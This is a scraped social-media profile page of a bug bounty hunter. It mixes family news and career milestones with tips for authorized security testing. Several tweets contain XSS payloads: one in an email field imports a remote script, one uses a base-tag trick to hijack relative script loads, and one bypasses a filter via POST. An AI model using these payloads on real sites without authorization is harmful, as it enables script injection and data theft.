zseano Profile Banner
zseano Profile
zseano

@zseano

71,978
Followers
681
Following
976
Media
6,858
Statuses

bug bounty hunter. creator of @bugbountyhunt3r

Joined February 2012
Don't wanna be here? Send us removal request.
Pinned Tweet
@zseano
zseano
9 months
Had a blast hacking with @JonathanBouman at #h1702 , we came 2nd and won best team collaboration 😄 thanks @Hacker0x01 for the opportunity!
@Hacker0x01
HackerOne
9 months
Congratulations to our #H1702 winners! 🎉 1st Place: fransrosen, avlidienbrunn 2nd Place: jonathanbouman, zseano Best Team Collaboration: jonathanbouman, zseano Exterminators: fransrosen, avlidienbrunn, inhibitor181 Eradicator: meals, yashrs MVH: fransrosen, avlidienbrunn
Tweet media one
10
35
409
38
3
236
@zseano
zseano
3 years
Finally we welcomed our son into the world at 530am today 😍 it was a hard 4-5 days of labour for Abi but she is so strong and I am so proud of her! So much respect for what women have to go through! A new chapter for us begins :) but first I need to try sleep 🥱😂
Tweet media one
240
10
1K
@zseano
zseano
4 years
You can read thousands of blogs detailing security vulnerabilities, for free. You can watch hundreds of hours of hacking content, for free. You can begin hacking right now, for free. The only cost is your time
27
207
965
@zseano
zseano
3 years
@magnologan @NahamSec @_johnhammond @thecybermentor @eXfilPr4tik The hard work, determination & passion to hack via your phone is admirable @eXfilPr4tik !! I can see you mention you don’t have a laptop to hack on.. let me help you! I’ve reached out via DM and I’m going to buy you a laptop and ship it to you :)
59
71
765
@zseano
zseano
2 years
Our little hacker 🥰🥰 thank you for the swag @Hacker0x01 :)
Tweet media one
46
9
745
@zseano
zseano
3 years
Psst, can you keep a secret? I'm giving away 10 bugbountyhunter 1yr membership which includes lifetime access to my methodology. Sound like something you're interested in? Simply let me know your 2021 plans below & I'll start picking at random in a few hours til I run out :)
Tweet media one
487
87
730
@zseano
zseano
16 days
XSS in an email address is underrated. (email is rarely sanitized by companies). Use catch-all and then you can also verify your account (if required). "><img/src/onerror=import('//domain/')>" @yourdomain .com cc @BRuteLogic -
7
204
709
@zseano
zseano
4 years
if you google ".xss.ht" you can find where others are testing and maybe reveal some priv programs. :P
Tweet media one
16
167
653
@zseano
zseano
4 years
Hey everyone! I've just put online for public use! Please be gentle and let me know if you run into any problems via support @bugbountyhunter .com :) I hope you all enjoy the content and can learn how to get involved in bug bounties and make it rain bugs! :)
16
156
642
@zseano
zseano
2 years
My family is getting bigger :) due May 2023 👶
Tweet media one
103
1
606
@zseano
zseano
3 years
guess what’s going to be in the post soon for some of you 👀🙈
Tweet media one
43
24
585
@zseano
zseano
2 years
Opened some apps on my iPhone, discovered an interesting "bag.xml" file which lead to finding XSS which we used to grab your Apple PII information. A finding from back in feb with @BugBountyHunt3r members
13
202
583
@zseano
zseano
2 months
New hackerone platform standards coming 2nd april: 1. IDORs with unpredicable IDs 2. Systemic Issues 3. Leaked credentials 4. Bypassing resolved reports Full info:
Tweet media one
Tweet media two
Tweet media three
Tweet media four
24
78
567
@zseano
zseano
3 years
Only 5 weeks to go until we meet our son/daughter 😳 Just giving people a heads up that I will be taking some needed time off from work mid September, although this may change if they make an early appearance 🙈 I am so excited to become a dad 😍😍
73
1
541
@zseano
zseano
4 years
<base href=//site.com> is rarely filtered yet allows you to change all relative urls to an URL you control, meaning if you see <script src=/relative.js> it will use your URL to retrieve the JS file. Useful for xss pocs with limited chars. it's old i know but one to remember :)
Tweet media one
7
159
529
@zseano
zseano
2 years
Having a drink with @ADITYASHENDE17 talking hacksss:) nice to meet a fellow hacker
Tweet media one
20
9
519
@zseano
zseano
3 years
Happy Mothers Day to all you amazing mums out there! I bought a mothers day card for my girlfriend today because... yup... we've got a baby on the way! I'm going to be a dad :)
109
7
499
@zseano
zseano
10 months
so clean, so smooth, no weird UI issues, easy to navigate and best of all, it just simply works out of the box and does exactly what you need it to do
Tweet media one
@zseano
zseano
1 year
burp 1.7 was the best version
43
16
385
20
41
438
@zseano
zseano
3 years
this industry is full of snakes and generally evil people :( karma will get some of you
38
9
432
@zseano
zseano
3 years
Being a dad is the best thing ever 😍 (ignore those bags under my eyes 😂)
Tweet media one
33
2
438
@zseano
zseano
4 years
GET /example?param=test .. nothing interesting happened, not vuln to XSS. (<> " was filtered) but if I change it to POST it's reflected as value=\"test\" POST /example #xss param=test+onfocus='alert(0)'id='xss' ..and I can haz XSS bypassing their 'filter'
Tweet media one
8
142
429
@zseano
zseano
2 years
I’m over the moon :))) did not expect 1st *overall* !!! Thank you @Hacker0x01 again for the opportunity, and thank you to the targets! Massive kudos to h1 triage team, amazing work from getting through so many reports! Now I need a break from hacking :D
@Hacker0x01
HackerOne
2 years
Last but certainly not least! Give a big 🔥 for our overall #H1702 winners! You all are INCREDIBLE! 1st Place: zseano 2nd Place: jonathanbouman Best Collaboration: the_arch_angel, ajxchapman, dee-see, rez0 Exterminator: ajxchapman Most Valuable Hacker: Ryotak
9
11
206
40
9
424
@zseano
zseano
9 months
recommend adding this JS code as a bookmark and using it as you browse your target, it's so simple yet very effective. it's helped me discover new endpoints i haven't seen before and overall helped increase my attack surface. thx @renniepak for sharing :)
@renniepak
renniepak
1 year
I've created a javascript bookmarklet that will extract all endpoints (starting with /) from your current DOM and from all the all the external script sources embedded on the page. You can find it here, if you want to try it out: #bugbountytips
Tweet media one
31
383
1K
5
82
413
@zseano
zseano
1 year
Just helped deliver our second baby BOY 💙 at home!!! 😬😬 things happened very quickly all of a sudden and didn’t have time to go hospital! Very scary but a moment to remember forever :) time to get 30 mins sleep before he wakes up 😂😂
108
2
403
@zseano
zseano
2 years
you're #1 , i'm #1 , WE'RE ALL #1 !
Tweet media one
27
22
401
@zseano
zseano
4 years
When hunting on web applications treat it like an exam. Write lots of notes to help YOU navigate what features/endpoints do. Revise, practise, continue learning.. bugs will appear :) things take time, trust the process, but most importantly enjoy it
7
81
398
@zseano
zseano
2 years
i'm addicted to hacking SEND HELP
44
27
378
@zseano
zseano
1 year
burp 1.7 was the best version
43
16
385
@zseano
zseano
2 years
Bug bounty programs are allowed to take weeks to reply to you, years to resolve, and if you ask for updates you get ignored, but if you don’t retest their fix within 24hrs you won’t get your $50 🙄😂 it’s funny when you think about it
17
26
375
@zseano
zseano
4 years
sorry to 2019 and here's to the new year and improving. 2020 .. the year you can all get your hands on my methodology :)
25
83
361
@zseano
zseano
2 years
Treat myself to brand new computer. Ditching 3 monitors for one 39’’ curved monitor and got myself 16 cores with 128gb ram, burp shouldn’t lag anymore :D time to get it all setup:) will get photo once it’s all running
Tweet media one
Tweet media two
35
17
356
@zseano
zseano
2 years
Stay away from @NetApp on @Hacker0x01 - do not help or support RACISTS !
@mido0x0x
MiDo 🇵🇸
2 years
@NetApp thanks for racism me after i sent him a subdomain takeover and solve a bug i sent hem to add me on @Hacker0x01 to discuss a report
Tweet media one
129
199
598
29
64
352
@zseano
zseano
2 years
sorry i've been quiet lately btw, after taking 1year+ out to build @BugBountyHunt3r I started doing more hacking in May and i've been addicted ever since. Reclaimed #1 spot on my fav program and next is to hit 10k rep overall :D I will forever be grateful for bug bounties <3
Tweet media one
Tweet media two
22
7
340
@zseano
zseano
1 year
Tweeting this out to warn others, as the original tweet is deleted. I told you people are snooping on what you’re doing, stop using managed blind xss platforms! Wonder what bb programs think about third parties snooping on their stuff ? **host it yourself**
Tweet media one
24
75
346
@zseano
zseano
3 years
I’m so grateful for bug bounties and the opportunities it’s created. I can work when I want and I don’t have to ever leave the house to go ‘back to work’ and as a result Abi is able to continue her career next year :)
14
11
339
@zseano
zseano
3 years
Thank you @Hacker0x01 for the HackerOne-sie swag for the baby 😍 Me & Abi are very grateful 😘☺️
Tweet media one
14
4
316
@zseano
zseano
1 year
Hardest thing ever saying goodbye to snowy today, I’m absolutely heart broken 😭😭😭 rest in peace my gorgeous girl, we will play together again one day ❤️❤️
Tweet media one
61
1
316
@zseano
zseano
2 years
I'm back baby :-)
Tweet media one
18
1
302
@zseano
zseano
4 years
Today I learnt 😯
Tweet media one
20
40
294
@zseano
zseano
4 years
Here is the old bug I just referenced on my talk that I disclosed that allowed me to bypass verification on a bug bounty program @ngalongc also just found similar on Shopify and got a VERY nice bounty ;)
2
84
287
@zseano
zseano
2 years
This is wrong …
@xnwup
xnwup
2 years
Today, Hackerone took $25k from me, because I am a belarusian citizen. 1/9
Tweet media one
Tweet media two
264
1K
6K
15
29
283
@zseano
zseano
4 years
Writeup on an old finding and how I use XAMPP & Burp intruder as part of my scanning process when looking for interesting behaviour & code (especially when testing login pages and how they work)
7
90
285
@zseano
zseano
2 years
As of today I am now a stay at home dad as Abi is returning to work to continue her teaching career :) very grateful for the bug bounty industry because I get to spend all day with my son & never miss a moment and then hack/work in the evenings :)
16
5
280
@zseano
zseano
2 years
lol HackerOne input doesn't support 1million+... wtf?
Tweet media one
11
11
273
@zseano
zseano
1 year
I've enjoyed full time hunting this year but now I must take a break and return to dev work :) please leave me some bugs for when I return ;) total 174 bugs: 25 crit, 105 high, 34 med, 7 low. Great collaborations w/ @JonathanBouman @rephlexsion @fransrosen @thedawgyg @NahamSec
Tweet media one
8
8
275
@zseano
zseano
2 years
if you're curious which public HackerOne programs are receiving attention (as well as bugs found if disclosed) you can browse daily stats here: NewRelic seems to be receiving a lot of reports lately :D
Tweet media one
Tweet media two
8
47
273
@zseano
zseano
9 months
Over $2million paid out in total at #H1702 :D well done everyone, it was an amazing event! Am I going to take a break? Probably not, i'm addicted to finding bugs ._. bug bounties = life changing. thx again @Hacker0x01 for hosting these events. HACKERS <3 HACKERONE
Tweet media one
17
14
267
@zseano
zseano
3 years
helping people earn bounties and get jobs. :-) Been training members on @BugBountyHunt3r for a year now and it's going really well. Still lots to do! Keen to get my own vuln disclosure/bug bounty platform finished.
Tweet media one
Tweet media two
Tweet media three
12
12
265
@zseano
zseano
3 years
Incase you didn’t know, @InfoSecComm has an insanely large amount of Infosec writeups for you to lean from:
5
60
263
@zseano
zseano
3 years
Looking forward to giving my talk at #NahamCon . I'm going to give you some tips & advice as well as 'homework' for you to do for the next 12months w/ hacking on bug bounty programs. Hopefully it'll help you find some cool bugs & earn $!
Tweet media one
8
30
259
@zseano
zseano
4 months
had this burp session open since 21st nov 2023 with timestamp 13:37... ;D still going strong and no crashes. BURP 1.7 FTW
Tweet media one
23
10
254
@zseano
zseano
6 months
I am determined to quit vaping and lead a nicotine free life, vaping is destroying my lungs. It’s going to be hard but I know I just have to be strong and fight the urges. Never get hooked on nicotine, you’ll grow up to regret it , trust me!
55
3
249
@zseano
zseano
3 years
Please note someone is selling my book contents on @amazon and it is *NOT ME*. Do NOT buy it! You can download it for free here: I have reported it to Amazon multiple times but they won't remove it. (Jeff Bezos needs to fund his space trip somehow!)
15
48
247
@zseano
zseano
2 years
we joke about critical clickjacking but metamask just paid $120,000 for a clickjacking bug :o
@MetaMask
MetaMask 🦊🫰
2 years
We'd like to thank the United Global Whitehat Security Team (UGWST) for this responsible disclosure. ❤ 💡 It's a good time to make sure you've enabled automatic updates - we always recommend having the most up-to-date version of MetaMask installed!
132
191
484
7
32
243
@zseano
zseano
2 months
I’ve lost all motivation to hack the past few weeks, the hacker in me has gone to sleep 😴
43
10
250
@zseano
zseano
3 years
Great resource for @GoogleVRP write-ups: , thanks @xdavidhu 🙏🏻
3
101
244
@zseano
zseano
1 year
@NahamSec remove emotion. when i first started I was passionate about helping companies fix bugs but also learn to prevent them. big mistake, gotta treat bug bounties like bug in > cash out, nothing more. also don't marry a bug, submit & move on
4
23
243
@zseano
zseano
3 years
It’s almost been a year since reopening BugBountyNotes as BugBountyHunter and what a year it’s been! Majority of the time has been spent mentoring & developing content to help people learn and I really feel like it’s working. Next aim is helping people earn! Watch this space 👀
12
15
242
@zseano
zseano
1 year
found 50+ bugs in the last 4 weeks but now i've gone 2 days without finding anything and i'm like ARGHHHH lol need that daily dopamine hit of finding a bug but could also maybe do with a lil break ;D joys of being addicted to hacking :P
12
3
241
@zseano
zseano
3 years
Thinking of you all in India ❤️❤️ it is horrible to see what is happening , stay safe 🙏🏻🙏🏻🙏🏻
12
6
243
@zseano
zseano
3 years
2020 was the year for planning & building, 2021 is the year I show the world I'm serious about connecting hackers & companies. Watch this space!
12
8
236
@zseano
zseano
4 years
If you aren't aware, @yaworsk has a great series on YouTube called "Web Hacking 101 Pro Tips". He's interviewed some awesome people and there is a lot of juicy info to consume in the videos. Enjoy, and thank you Pete for creating these! Link to playlist:
Tweet media one
6
53
234
@zseano
zseano
4 years
Slides to my #VirSecCon2020 talk Hope you all enjoyed it, thank you for listening! & thank you @NahamSec & @thecybermentor for putting on a great con!
13
87
234
@zseano
zseano
28 days
Proud mentor moment 💪
@Mr_xhunt
Mayank Kaushik
28 days
Exciting news! 🎊 I've just been awarded a $12,000 bounty 🤑 from Amazon for uncovering a critical vulnerability. Starting my bug bounty journey with Amazon has really paid off with this big find. Huge thanks to @zseano for the encouragement and guidance. 🥂 #BugBounty
Tweet media one
48
20
381
10
6
233
@zseano
zseano
3 years
Thank you @digital4defence for the challenge coin 😎 not everyday you get ministry of defence sending you something! I will add this to my collection :)
Tweet media one
10
4
226
@zseano
zseano
2 years
7 days on 1 public program on @Hacker0x01 for "21 days of Haxmas" and already 5k+ paid out! We're running into some dead ends now though so time to switch it up and find a new target. Public programs have more bugs than you think, it isn't all about privates :)
11
7
228
@zseano
zseano
6 months
i plan on doing bug bounties til the day the industry dies (which is not going to happen in the next 10 years at least imo). there's no way we'll run out of bugs to find and AI most certainly won't kill our jobs lol bug bounties is my home :)
17
19
226
@zseano
zseano
3 years
Sorry people I planned on doing triage and paying some bounties tonight but Abi has taken a turn for the worse out of no where tonight and we’re up hospital atm. Going to be a long night! Waiting on test results, hopefully all is ok and we can go home together soon 🙏🏻
30
3
225
@zseano
zseano
4 years
For the newcomers: don’t forget it’s not all about Hackerone & Bugcrowd! @intigriti and @yeswehack have some awesome programs on them as well 😘
16
20
215
@zseano
zseano
3 years
For new comers: Using a third party service in your reports such as @XssHunter or @bugpoc_official may result in you forfeiting your bounty. Do NOT use third party sites. Use something *you* own and control for your proof of concepts. XSShunter tutorial:
Tweet media one
14
51
217
@zseano
zseano
9 months
Proud mentor moment!! I met @pdstat almost a year ago and I could see from triaging his reports that he was talented with his approach. His hard work has paid off with a $13,000 bounty! So happy for you! <3 Proof that anything is possible if you put your mind to it :-)
Tweet media one
14
8
220
@zseano
zseano
3 years
before running tools, think.. why am I running this? Why are you gathering subdomains, what are you looking for? What are you hoping to find with your wordlist? Just remember, if you can do it, anyone can. Spend time learning your target and you'll know when you need tools
3
43
213
@zseano
zseano
3 years
If you think about it, bug bounty platforms are only popular because they have a lot of hackers, so companies are like "oooo i want to tap into these hackers". No hackers = companies don't get value = they move elsewhere. We're the ones producing the results.
14
15
212
@zseano
zseano
4 years
I proposed training to a UK company teaching them how to hack themselves and replicate what most us hackers do so they can begin to build defences from the inside out. Just got a msg that it's been accepted, wooooot!! on a mission to secure UK businesses one by one :D
15
3
214
@zseano
zseano
3 years
Just to update people, or in case people think I am a liar, laptop was sent 3 days after my tweet. Hopefully it arrives soon @eXfilPr4tik :) I hope it helps you out, godspeed brother, hope you're well & safe <3
Tweet media one
6
8
208
@zseano
zseano
4 years
Just a quick blog post: Easily leaking passenger information on a @yeswehack program. Be careful what you share online! :)
Tweet media one
6
48
208
@zseano
zseano
3 years
@eXfilPr4tik My pleasure :) hope it helps you progress further mate 🙏🏻😘
6
0
207
@zseano
zseano
3 years
Swag game strong 💪😂 loving these glasses @stokfredrik ! Shame I can’t pull ‘em off like you though 😩
Tweet media one
14
1
207
@zseano
zseano
2 years
i'm going to be afk for a few days, i hit my head really bad a few days ago and sorta just shrugged it off but the pains just continued and I haven't felt myself. been up hospital this morning and got told I have concussion and I need to rest and minimize screen time. back soon:)
54
0
198
@zseano
zseano
4 years
'The unexpected Google wide domain check bypass' by @xdavidhu : - Fantastic writeup and proof that reading .js files pays off :D
2
59
203
@zseano
zseano
4 years
An old gem from years ago for the new comers: If you have self XSS and thinking 'what can i do?', here is a brilliant writeup from @fin1te on how he turned self xss into good xss on Uber :)
2
63
200
@zseano
zseano
2 years
well and truly addicted to hacking right now lol I need to stop and do some dev work but it's just so much fun poking around trying to break stuff. Experience on HackerOne has been flawless, no issues at all with triage etc. bug bounty life is good so let's ride the momentum :)
5
6
199
@zseano
zseano
4 years
Launch went well! Hope you all enjoy the content! <3 So what took so long and what's in store for the future? Find out below:
5
45
195
@zseano
zseano
3 years
Dream it, build it. Don’t let anything stop you on your journey. It may be hard work, time consuming, and you’ll have down days, but as long as you always believe in yourself & never give up, you’ll get to your destination 🙏🏻 here’s to everyone owning 2021 😘👍🏻
10
26
195
@zseano
zseano
3 years
When hacking it’s important to have good music on 👍🏻
18
6
192
@zseano
zseano
2 years
initial thoughts of 39'' curved monitor: not a fan, ended up putting one of my old screens next to it as I need that whole separate screen for tasks. probably going to send it back and return to 3 screens Computer runs nicely tho :)
Tweet media one
21
2
193
@zseano
zseano
4 years
Come learn about some of my favourite findings from years of being a webapp hacker - April 4th 2020 at #VirSecCon2020 Streamed on Full info and schedule can be found here:
Tweet media one
13
34
189
@zseano
zseano
3 years
I find it hard to stop talking once I start 😂😂 sorry for going over my time slot but hope you all enjoyed the talk! I believe the recording will be on YouTube later
18
2
190
@zseano
zseano
4 years
2 days of solid testing, found some cool bugs but think it's time to relaunch chrome & burp now lmfao
Tweet media one
11
10
184
@zseano
zseano
3 years
If you triage reports for a bug bounty platform then in my opinion you should keep it to yourself. Some platforms will shadowban you and prevent you from receiving invites just because you work for a competitor. Just looking out for some of you 👍🏻
7
12
187
@zseano
zseano
4 years
Randomly decided to shave my hair off, don’t think it turned out too bad tbh 😂 pretty happy with it
Tweet media one
28
0
184
@zseano
zseano
2 years
hello
78
4
184
@zseano
zseano
4 years
Anyone else’s motivation levels hit rock bottom 🤷‍♂️ don’t feel like doing anything but being a couch potatoe
30
6
187
@zseano
zseano
3 years
this site i'm testing has 2FA and in the request it has "2FA":true , so I set it to false and it still prompted 2FA. I'm thinking ok good, but then I removed it altogether and 2FA wasn't prompted lol wtf..
10
11
187
@zseano
zseano
3 years
Spent my Sunday having a play with blockchain ‘smart contracts’. I want to get my head round how they work and start being able to discover vulnerabilities in them. Don’t see the tech going away and I think it could be something useful to learn. Anyone found any vulns before?
12
25
184
@zseano
zseano
9 months
getting closer to 20k rep! been non stop hacking this year, been so much fun :D i'm coming for you @NahamSec ;)
Tweet media one
@zseano
zseano
1 year
Finally joined the cool kids with 10k rep :D
Tweet media one
11
1
111
16
6
183
@zseano
zseano
4 years
I get wayyyy too many DMs that can be answered by google i am thinking of renaming myself to zoogle
16
4
181
@zseano
zseano
2 years
rewarded $1million :o
Tweet media one
@NotionalFinance
Notional
2 years
Security remains our top priority and we will continue to invest in all potential safeguards to secure our users’ funds. Detailed post:
0
11
85
10
20
182
@zseano
zseano
4 years
I love that everyone's hot on the recon game, ya'll leaving the main web app fresh for me to poke at ;) keep scanning for them subdomains please:P
18
7
182